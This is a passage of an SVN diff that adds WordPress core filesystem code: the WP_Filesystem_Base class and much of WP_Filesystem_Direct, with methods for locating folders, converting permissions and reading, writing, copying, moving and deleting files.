+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * Base WordPress Filesystem class for which Filesystem implementations extend
+ *
+ * @since 2.5.0
+ */
+class WP_Filesystem_Base {
+	/**
+	 * Whether to display debug data for the connection.
+	 *
+	 * @access public
+	 * @since 2.5.0
+	 * @var bool
+	 */
+	public $verbose = false;
+
+	/**
+	 * Cached list of local filepaths to mapped remote filepaths.
+	 *
+	 * @access private
+	 * @since 2.7.0
+	 * @var array
+	 */
+	private $cache = array();
+
+	/**
+	 * The Access method of the current connection, Set automatically.
+	 *
+	 * @access public
+	 * @since 2.5.0
+	 * @var string
+	 */
+	public $method = '';
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Return the path on the remote filesystem of ABSPATH.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function abspath() {
+		$folder = $this->find_folder(ABSPATH);
+		// Perhaps the FTP folder is rooted at the WordPress install, Check for wp-includes folder in root, Could have some false positives, but rare.
+		if ( ! $folder && $this->is_dir( '/' . WPINC ) )
+			$folder = '/';
+		return $folder;
+	}
+
+	/**
+	 * Return the path on the remote filesystem of WP_CONTENT_DIR.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function wp_content_dir() {
+		return $this->find_folder(WP_CONTENT_DIR);
+	}
+
+	/**
+	 * Return the path on the remote filesystem of WP_PLUGIN_DIR.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function wp_plugins_dir() {
+		return $this->find_folder(WP_PLUGIN_DIR);
+	}
+
+	/**
+	 * Return the path on the remote filesystem of the Themes Directory.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $theme The Theme stylesheet or template for the directory.
+	 * @return string The location of the remote path.
+	 */
+	public function wp_themes_dir( $theme = false ) {
+		$theme_root = get_theme_root( $theme );
+
+		// Account for relative theme roots
+		if ( '/themes' == $theme_root || ! is_dir( $theme_root ) )
+			$theme_root = WP_CONTENT_DIR . $theme_root;
+
+		return $this->find_folder( $theme_root );
+	}
+
+	/**
+	 * Return the path on the remote filesystem of WP_LANG_DIR.
+	 *
+	 * @access public
+	 * @since 3.2.0
+	 *
+	 * @return string The location of the remote path.
+	 */
+	public function wp_lang_dir() {
+		return $this->find_folder(WP_LANG_DIR);
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * @access public
+	 * @since 2.5.0
+	 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() instead.
+	 * @see WP_Filesystem::abspath()
+	 * @see WP_Filesystem::wp_content_dir()
+	 * @see WP_Filesystem::wp_plugins_dir()
+	 * @see WP_Filesystem::wp_themes_dir()
+	 * @see WP_Filesystem::wp_lang_dir()
+	 *
+	 * @param string $base The folder to start searching from.
+	 * @param bool   $echo True to display debug information.
+	 *                     Default false.
+	 * @return string The location of the remote path.
+	 */
+	public function find_base_dir( $base = '.', $echo = false ) {
+		_deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
+		$this->verbose = $echo;
+		return $this->abspath();
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * @access public
+	 * @since 2.5.0
+	 * @deprecated 2.7.0 use WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir() methods instead.
+	 * @see WP_Filesystem::abspath()
+	 * @see WP_Filesystem::wp_content_dir()
+	 * @see WP_Filesystem::wp_plugins_dir()
+	 * @see WP_Filesystem::wp_themes_dir()
+	 * @see WP_Filesystem::wp_lang_dir()
+	 *
+	 * @param string $base The folder to start searching from.
+	 * @param bool   $echo True to display debug information.
+	 * @return string The location of the remote path.
+	 */
+	public function get_base_dir( $base = '.', $echo = false ) {
+		_deprecated_function(__FUNCTION__, '2.7', 'WP_Filesystem::abspath() or WP_Filesystem::wp_*_dir()' );
+		$this->verbose = $echo;
+		return $this->abspath();
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * Assumes that on Windows systems, Stripping off the Drive
+	 * letter is OK Sanitizes \\ to / in windows filepaths.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $folder the folder to locate.
+	 * @return string The location of the remote path.
+	 */
+	public function find_folder( $folder ) {
+
+		if ( isset( $this->cache[ $folder ] ) )
+			return $this->cache[ $folder ];
+
+		if ( stripos($this->method, 'ftp') !== false ) {
+			$constant_overrides = array(
+				'FTP_BASE' => ABSPATH,
+				'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
+				'FTP_PLUGIN_DIR' => WP_PLUGIN_DIR,
+				'FTP_LANG_DIR' => WP_LANG_DIR
+			);
+
+			// Direct matches ( folder = CONSTANT/ )
+			foreach ( $constant_overrides as $constant => $dir ) {
+				if ( ! defined( $constant ) )
+					continue;
+				if ( $folder === $dir )
+					return trailingslashit( constant( $constant ) );
+			}
+
+			// Prefix Matches ( folder = CONSTANT/subdir )
+			foreach ( $constant_overrides as $constant => $dir ) {
+				if ( ! defined( $constant ) )
+					continue;
+				if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir
+					$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
+					$potential_folder = trailingslashit( $potential_folder );
+
+					if ( $this->is_dir( $potential_folder ) ) {
+						$this->cache[ $folder ] = $potential_folder;
+						return $potential_folder;
+					}
+				}
+			}
+		} elseif ( 'direct' == $this->method ) {
+			$folder = str_replace('\\', '/', $folder); // Windows path sanitisation
+			return trailingslashit($folder);
+		}
+
+		$folder = preg_replace('|^([a-z]{1}):|i', '', $folder); // Strip out windows drive letter if it's there.
+		$folder = str_replace('\\', '/', $folder); // Windows path sanitisation
+
+		if ( isset($this->cache[ $folder ] ) )
+			return $this->cache[ $folder ];
+
+		if ( $this->exists($folder) ) { // Folder exists at that absolute path.
+			$folder = trailingslashit($folder);
+			$this->cache[ $folder ] = $folder;
+			return $folder;
+		}
+		if ( $return = $this->search_for_folder($folder) )
+			$this->cache[ $folder ] = $return;
+		return $return;
+	}
+
+	/**
+	 * Locate a folder on the remote filesystem.
+	 *
+	 * Expects Windows sanitized path.
+	 *
+	 * @access private
+	 * @since 2.7.0
+	 *
+	 * @param string $folder The folder to locate.
+	 * @param string $base   The folder to start searching from.
+	 * @param bool   $loop   If the function has recursed, Internal use only.
+	 * @return string The location of the remote path.
+	 */
+	public function search_for_folder( $folder, $base = '.', $loop = false ) {
+		if ( empty( $base ) || '.' == $base )
+			$base = trailingslashit($this->cwd());
+
+		$folder = untrailingslashit($folder);
+
+		if ( $this->verbose )
+			printf( "\n" . __('Looking for %1$s in %2$s') . "<br/>\n", $folder, $base );
+
+		$folder_parts = explode('/', $folder);
+		$folder_part_keys = array_keys( $folder_parts );
+		$last_index = array_pop( $folder_part_keys );
+		$last_path = $folder_parts[ $last_index ];
+
+		$files = $this->dirlist( $base );
+
+		foreach ( $folder_parts as $index => $key ) {
+			if ( $index == $last_index )
+				continue; // We want this to be caught by the next code block.
+
+			/*
+			 * Working from /home/ to /user/ to /wordpress/ see if that file exists within
+			 * the current folder, If it's found, change into it and follow through looking
+			 * for it. If it cant find WordPress down that route, it'll continue onto the next
+			 * folder level, and see if that matches, and so on. If it reaches the end, and still
+			 * cant find it, it'll return false for the entire function.
+			 */
+			if ( isset($files[ $key ]) ){
+
+				// Let's try that folder:
+				$newdir = trailingslashit(path_join($base, $key));
+				if ( $this->verbose )
+					printf( "\n" . __('Changing to %s') . "<br/>\n", $newdir );
+
+				// Only search for the remaining path tokens in the directory, not the full path again.
+				$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
+				if ( $ret = $this->search_for_folder( $newfolder, $newdir, $loop) )
+					return $ret;
+			}
+		}
+
+		// Only check this as a last resort, to prevent locating the incorrect install. All above procedures will fail quickly if this is the right branch to take.
+		if (isset( $files[ $last_path ] ) ) {
+			if ( $this->verbose )
+				printf( "\n" . __('Found %s') . "<br/>\n",  $base . $last_path );
+			return trailingslashit($base . $last_path);
+		}
+
+		// Prevent this function from looping again.
+		// No need to proceed if we've just searched in /
+		if ( $loop || '/' == $base )
+			return false;
+
+		// As an extra last resort, Change back to / if the folder wasn't found.
+		// This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
+		return $this->search_for_folder( $folder, '/', true );
+
+	}
+
+	/**
+	 * Return the *nix-style file permissions for a file.
+	 *
+	 * From the PHP documentation page for fileperms().
+	 *
+	 * @link http://docs.php.net/fileperms
+	 *
+	 * @access public
+	 * @since 2.5.0
+	 *
+	 * @param string $file String filename.
+	 * @return string The *nix-style representation of permissions.
+	 */
+	public function gethchmod( $file ){
+		$perms = $this->getchmod($file);
+		if (($perms & 0xC000) == 0xC000) // Socket
+			$info = 's';
+		elseif (($perms & 0xA000) == 0xA000) // Symbolic Link
+			$info = 'l';
+		elseif (($perms & 0x8000) == 0x8000) // Regular
+			$info = '-';
+		elseif (($perms & 0x6000) == 0x6000) // Block special
+			$info = 'b';
+		elseif (($perms & 0x4000) == 0x4000) // Directory
+			$info = 'd';
+		elseif (($perms & 0x2000) == 0x2000) // Character special
+			$info = 'c';
+		elseif (($perms & 0x1000) == 0x1000) // FIFO pipe
+			$info = 'p';
+		else // Unknown
+			$info = 'u';
+
+		// Owner
+		$info .= (($perms & 0x0100) ? 'r' : '-');
+		$info .= (($perms & 0x0080) ? 'w' : '-');
+		$info .= (($perms & 0x0040) ?
+					(($perms & 0x0800) ? 's' : 'x' ) :
+					(($perms & 0x0800) ? 'S' : '-'));
+
+		// Group
+		$info .= (($perms & 0x0020) ? 'r' : '-');
+		$info .= (($perms & 0x0010) ? 'w' : '-');
+		$info .= (($perms & 0x0008) ?
+					(($perms & 0x0400) ? 's' : 'x' ) :
+					(($perms & 0x0400) ? 'S' : '-'));
+
+		// World
+		$info .= (($perms & 0x0004) ? 'r' : '-');
+		$info .= (($perms & 0x0002) ? 'w' : '-');
+		$info .= (($perms & 0x0001) ?
+					(($perms & 0x0200) ? 't' : 'x' ) :
+					(($perms & 0x0200) ? 'T' : '-'));
+		return $info;
+	}
+
+	/**
+	 * Convert *nix-style file permissions to a octal number.
+	 *
+	 * Converts '-rw-r--r--' to 0644
+	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
+ 	 *
+	 * @link http://docs.php.net/manual/en/function.chmod.php#49614
+	 *
+	 * @access public
+	 * @since 2.5.0
+	 *
+	 * @param string $mode string The *nix-style file permission.
+	 * @return int octal representation
+	 */
+	public function getnumchmodfromh( $mode ) {
+		$realmode = '';
+		$legal =  array('', 'w', 'r', 'x', '-');
+		$attarray = preg_split('//', $mode);
+
+		for ($i=0; $i < count($attarray); $i++)
+		   if ($key = array_search($attarray[$i], $legal))
+			   $realmode .= $legal[$key];
+
+		$mode = str_pad($realmode, 10, '-', STR_PAD_LEFT);
+		$trans = array('-'=>'0', 'r'=>'4', 'w'=>'2', 'x'=>'1');
+		$mode = strtr($mode,$trans);
+
+		$newmode = $mode[0];
+		$newmode .= $mode[1] + $mode[2] + $mode[3];
+		$newmode .= $mode[4] + $mode[5] + $mode[6];
+		$newmode .= $mode[7] + $mode[8] + $mode[9];
+		return $newmode;
+	}
+
+	/**
+	 * Determine if the string provided contains binary characters.
+	 *
+	 * @access private
+	 * @since 2.7.0
+	 *
+	 * @param string $text String to test against.
+	 * @return bool true if string is binary, false otherwise.
+	 */
+	public function is_binary( $text ) {
+		return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
+	}
+
+	/**
+	 * Change the ownership of a file / folder.
+	 *
+	 * Default behavior is to do nothing, override this in your subclass, if desired.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $file      Path to the file.
+	 * @param mixed  $owner     A user name or number.
+	 * @param bool   $recursive Optional. If set True changes file owner recursivly. Defaults to False.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chown( $file, $owner, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Connect filesystem.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @return bool True on success or false on failure (always true for WP_Filesystem_Direct).
+	 */
+	public function connect() {
+		return true;
+	}
+
+	/**
+	 * Read entire file into a string.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Name of the file to read.
+	 * @return mixed|bool Returns the read data or false on failure.
+	 */
+	public function get_contents( $file ) {
+		return false;
+	}
+
+	/**
+	 * Read entire file into an array.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to the file.
+	 * @return array|bool the file contents in an array or false on failure.
+	 */
+	public function get_contents_array( $file ) {
+		return false;
+	}
+
+	/**
+	 * Write a string to a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file     Remote path to the file where to write the data.
+	 * @param string $contents The data to write.
+	 * @param int    $mode     Optional. The file permissions as octal number, usually 0644.
+	 * @return bool False on failure.
+	 */
+	public function put_contents( $file, $contents, $mode = false ) {
+		return false;
+	}
+
+	/**
+	 * Get the current working directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @return string|bool The current working directory on success, or false on failure.
+	 */
+	public function cwd() {
+		return false;
+	}
+
+	/**
+	 * Change current directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $dir The new current directory.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chdir( $dir ) {
+		return false;
+	}
+
+	/**
+	 * Change the file group.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file      Path to the file.
+	 * @param mixed  $group     A group name or number.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chgrp( $file, $group, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Change filesystem permissions.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file      Path to the file.
+	 * @param int    $mode      Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chmod( $file, $mode = false, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Get the file owner.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to the file.
+	 * @return string|bool Username of the user or false on error.
+	 */
+	public function owner( $file ) {
+		return false;
+	}
+
+	/**
+	 * Get the file's group.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to the file.
+	 * @return string|bool The group or false on error.
+	 */
+	public function group( $file ) {
+		return false;
+	}
+
+	/**
+	 * Copy a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $source      Path to the source file.
+	 * @param string $destination Path to the destination file.
+	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
+	 *                            Default false.
+	 * @param int    $mode        Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs.
+	 *                            Default false.
+	 * @return bool True if file copied successfully, False otherwise.
+	 */
+	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
+		return false;
+	}
+
+	/**
+	 * Move a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $source      Path to the source file.
+	 * @param string $destination Path to the destination file.
+	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
+	 *                            Default false.
+	 * @return bool True if file copied successfully, False otherwise.
+	 */
+	public function move( $source, $destination, $overwrite = false ) {
+		return false;
+	}
+
+	/**
+	 * Delete a file or directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file      Path to the file.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Defaults to False.
+	 *                          Default false.
+	 * @param bool   $type      Type of resource. 'f' for file, 'd' for directory.
+	 *                          Default false.
+	 * @return bool True if the file or directory was deleted, false on failure.
+	 */
+	public function delete( $file, $recursive = false, $type = false ) {
+		return false;
+	}
+
+	/**
+	 * Check if a file or directory exists.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to file/directory.
+	 * @return bool Whether $file exists or not.
+	 */
+	public function exists( $file ) {
+		return false;
+	}
+
+	/**
+	 * Check if resource is a file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file File path.
+	 * @return bool Whether $file is a file.
+	 */
+	public function is_file( $file ) {
+		return false;
+	}
+
+	/**
+	 * Check if resource is a directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $path Directory path.
+	 * @return bool Whether $path is a directory.
+	 */
+	public function is_dir( $path ) {
+		return false;
+	}
+
+	/**
+	 * Check if a file is readable.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to file.
+	 * @return bool Whether $file is readable.
+	 */
+	public function is_readable( $file ) {
+		return false;
+	}
+
+	/**
+	 * Check if a file or directory is writable.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @return bool Whether $file is writable.
+	 */
+	public function is_writable( $file ) {
+		return false;
+	}
+
+	/**
+	 * Gets the file's last access time.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to file.
+	 * @return int|bool Unix timestamp representing last access time.
+	 */
+	public function atime( $file ) {
+		return false;
+	}
+
+	/**
+	 * Gets the file modification time.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to file.
+	 * @return int|bool Unix timestamp representing modification time.
+	 */
+	public function mtime( $file ) {
+		return false;
+	}
+
+	/**
+	 * Gets the file size (in bytes).
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file Path to file.
+	 * @return int|bool Size of the file in bytes.
+	 */
+	public function size( $file ) {
+		return false;
+	}
+
+	/**
+	 * Set the access and modification times of a file.
+	 *
+	 * Note: If $file doesn't exist, it will be created.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $file  Path to file.
+	 * @param int    $time  Optional. Modified time to set for file.
+	 *                      Default 0.
+	 * @param int    $atime Optional. Access time to set for file.
+	 *                      Default 0.
+	 * @return bool Whether operation was successful or not.
+	 */
+	public function touch( $file, $time = 0, $atime = 0 ) {
+		return false;
+	}
+
+	/**
+	 * Create a directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $path  Path for new directory.
+	 * @param mixed  $chmod Optional. The permissions as octal number, (or False to skip chmod)
+	 *                      Default false.
+	 * @param mixed  $chown Optional. A user name or number (or False to skip chown)
+	 *                      Default false.
+	 * @param mixed  $chgrp Optional. A group name or number (or False to skip chgrp).
+	 *                      Default false.
+	 * @return bool False if directory cannot be created, true otherwise.
+	 */
+	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
+		return false;
+	}
+
+	/**
+	 * Delete a directory.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 * @param string $path      Path to directory.
+	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
+	 *                          Default false.
+	 * @return bool Whether directory is deleted successfully or not.
+	 */
+	public function rmdir( $path, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * Get details for files in a directory or a specific file.
+	 *
+	 * @since 2.5.0
+	 * @abstract
+	 *
+	 * @param string $path           Path to directory or file.
+	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
+	 *                               Default true.
+	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
+	 *                               Default false.
+	 * @return array|bool {
+	 *     Array of files. False if unable to list directory contents.
+	 *
+	 *     @type string $name        Name of the file/directory.
+	 *     @type string $perms       *nix representation of permissions.
+	 *     @type int    $permsn      Octal representation of permissions.
+	 *     @type string $owner       Owner name or ID.
+	 *     @type int    $size        Size of file in bytes.
+	 *     @type int    $lastmodunix Last modified unix timestamp.
+	 *     @type mixed  $lastmod     Last modified month (3 letter) and day (without leading 0).
+	 *     @type int    $time        Last modified time.
+	 *     @type string $type        Type of resource. 'f' for file, 'd' for directory.
+	 *     @type mixed  $files       If a directory and $recursive is true, contains another array of files.
+	 * }
+	 */
+	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
+		return false;
+	}
+
+} // WP_Filesystem_Base
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-direct.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-direct.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-direct.php	(revision 33402)
@@ -0,0 +1,463 @@
+<?php
+/**
+ * WordPress Direct Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for direct PHP file and folder manipulation.
+ *
+ * @since 2.5.0
+ * @package WordPress
+ * @subpackage Filesystem
+ * @uses WP_Filesystem_Base Extends class
+ */
+class WP_Filesystem_Direct extends WP_Filesystem_Base {
+
+	/**
+	 * constructor
+	 *
+	 * @param mixed $arg ignored argument
+	 */
+	public function __construct($arg) {
+		$this->method = 'direct';
+		$this->errors = new WP_Error();
+	}
+
+	/**
+	 * Reads entire file into a string
+	 *
+	 * @param string $file Name of the file to read.
+	 * @return string|bool The function returns the read data or false on failure.
+	 */
+	public function get_contents($file) {
+		return @file_get_contents($file);
+	}
+
+	/**
+	 * Reads entire file into an array
+	 *
+	 * @param string $file Path to the file.
+	 * @return array|bool the file contents in an array or false on failure.
+	 */
+	public function get_contents_array($file) {
+		return @file($file);
+	}
+
+	/**
+	 * Write a string to a file
+	 *
+	 * @param string $file     Remote path to the file where to write the data.
+	 * @param string $contents The data to write.
+	 * @param int    $mode     Optional. The file permissions as octal number, usually 0644.
+	 *                         Default false.
+	 * @return bool False upon failure, true otherwise.
+	 */
+	public function put_contents( $file, $contents, $mode = false ) {
+		$fp = @fopen( $file, 'wb' );
+		if ( ! $fp )
+			return false;
+
+		mbstring_binary_safe_encoding();
+
+		$data_length = strlen( $contents );
+
+		$bytes_written = fwrite( $fp, $contents );
+
+		reset_mbstring_encoding();
+
+		fclose( $fp );
+
+		if ( $data_length !== $bytes_written )
+			return false;
+
+		$this->chmod( $file, $mode );
+
+		return true;
+	}
+
+	/**
+	 * Gets the current working directory
+	 *
+	 * @return string|bool the current working directory on success, or false on failure.
+	 */
+	public function cwd() {
+		return @getcwd();
+	}
+
+	/**
+	 * Change directory
+	 *
+	 * @param string $dir The new current directory.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chdir($dir) {
+		return @chdir($dir);
+	}
+
+	/**
+	 * Changes file group
+	 *
+	 * @param string $file      Path to the file.
+	 * @param mixed  $group     A group name or number.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Default false.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chgrp($file, $group, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive )
+			return @chgrp($file, $group);
+		if ( ! $this->is_dir($file) )
+			return @chgrp($file, $group);
+		// Is a directory, and we want recursive
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file);
+		foreach ($filelist as $filename)
+			$this->chgrp($file . $filename, $group, $recursive);
+
+		return true;
+	}
+
+	/**
+	 * Changes filesystem permissions
+	 *
+	 * @param string $file      Path to the file.
+	 * @param int    $mode      Optional. The permissions as octal number, usually 0644 for files,
+	 *                          0755 for dirs. Default false.
+	 * @param bool   $recursive Optional. If set True changes file group recursively. Default false.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chmod($file, $mode = false, $recursive = false) {
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return @chmod($file, $mode);
+		// Is a directory, and we want recursive
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file);
+		foreach ( (array)$filelist as $filename => $filemeta)
+			$this->chmod($file . $filename, $mode, $recursive);
+
+		return true;
+	}
+
+	/**
+	 * Changes file owner
+	 *
+	 * @param string $file      Path to the file.
+	 * @param mixed  $owner     A user name or number.
+	 * @param bool   $recursive Optional. If set True changes file owner recursively.
+	 *                          Default false.
+	 * @return bool Returns true on success or false on failure.
+	 */
+	public function chown($file, $owner, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive )
+			return @chown($file, $owner);
+		if ( ! $this->is_dir($file) )
+			return @chown($file, $owner);
+		// Is a directory, and we want recursive
+		$filelist = $this->dirlist($file);
+		foreach ($filelist as $filename) {
+			$this->chown($file . '/' . $filename, $owner, $recursive);
+		}
+		return true;
+	}
+
+	/**
+	 * Gets file owner
+	 *
+	 * @param string $file Path to the file.
+	 * @return string|bool Username of the user or false on error.
+	 */
+	public function owner($file) {
+		$owneruid = @fileowner($file);
+		if ( ! $owneruid )
+			return false;
+		if ( ! function_exists('posix_getpwuid') )
+			return $owneruid;
+		$ownerarray = posix_getpwuid($owneruid);
+		return $ownerarray['name'];
+	}
+
+	/**
+	 * Gets file permissions
+	 *
+	 * FIXME does not handle errors in fileperms()
+	 *
+	 * @param string $file Path to the file.
+	 * @return string Mode of the file (last 3 digits).
+	 */
+	public function getchmod($file) {
+		return substr( decoct( @fileperms( $file ) ), -3 );
+	}
+
+	/**
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function group($file) {
+		$gid = @filegroup($file);
+		if ( ! $gid )
+			return false;
+		if ( ! function_exists('posix_getgrgid') )
+			return $gid;
+		$grouparray = posix_getgrgid($gid);
+		return $grouparray['name'];
+	}
+
+	/**
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool   $overwrite
+	 * @param int    $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+
+		$rtval = copy($source, $destination);
+		if ( $mode )
+			$this->chmod($destination, $mode);
+		return $rtval;
+	}
+
+	/**
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+
+		// Try using rename first. if that fails (for example, source is read only) try copy.
+		if ( @rename($source, $destination) )
+			return true;
+
+		if ( $this->copy($source, $destination, $overwrite) && $this->exists($destination) ) {
+			$this->delete($source);
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	/**
+	 * @param string $file
+	 * @param bool $recursive
+	 * @param string $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( empty( $file ) ) // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
+			return false;
+		$file = str_replace( '\\', '/', $file ); // for win32, occasional problems deleting files otherwise
+
+		if ( 'f' == $type || $this->is_file($file) )
+			return @unlink($file);
+		if ( ! $recursive && $this->is_dir($file) )
+			return @rmdir($file);
+
+		// At this point it's a folder, and we're in recursive mode
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file, true);
+
+		$retval = true;
+		if ( is_array( $filelist ) ) {
+			foreach ( $filelist as $filename => $fileinfo ) {
+				if ( ! $this->delete($file . $filename, $recursive, $fileinfo['type']) )
+					$retval = false;
+			}
+		}
+
+		if ( file_exists($file) && ! @rmdir($file) )
+			$retval = false;
+
+		return $retval;
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists($file) {
+		return @file_exists($file);
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		return @is_file($file);
+	}
+	/**
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		return @is_dir($path);
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		return @is_readable($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		return @is_writable($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function atime($file) {
+		return @fileatime($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		return @filemtime($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		return @filesize($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @param int $time
+	 * @param int $atime
+	 * @return bool
+	 */
+	public function touch($file, $time = 0, $atime = 0) {
+		if ($time == 0)
+			$time = time();
+		if ($atime == 0)
+			$atime = time();
+		return @touch($file, $time, $atime);
+	}
+
+	/**
+	 * @param string $path
+	 * @param mixed  $chmod
+	 * @param mixed  $chown
+	 * @param mixed  $chgrp
+	 * @return bool
+	 */
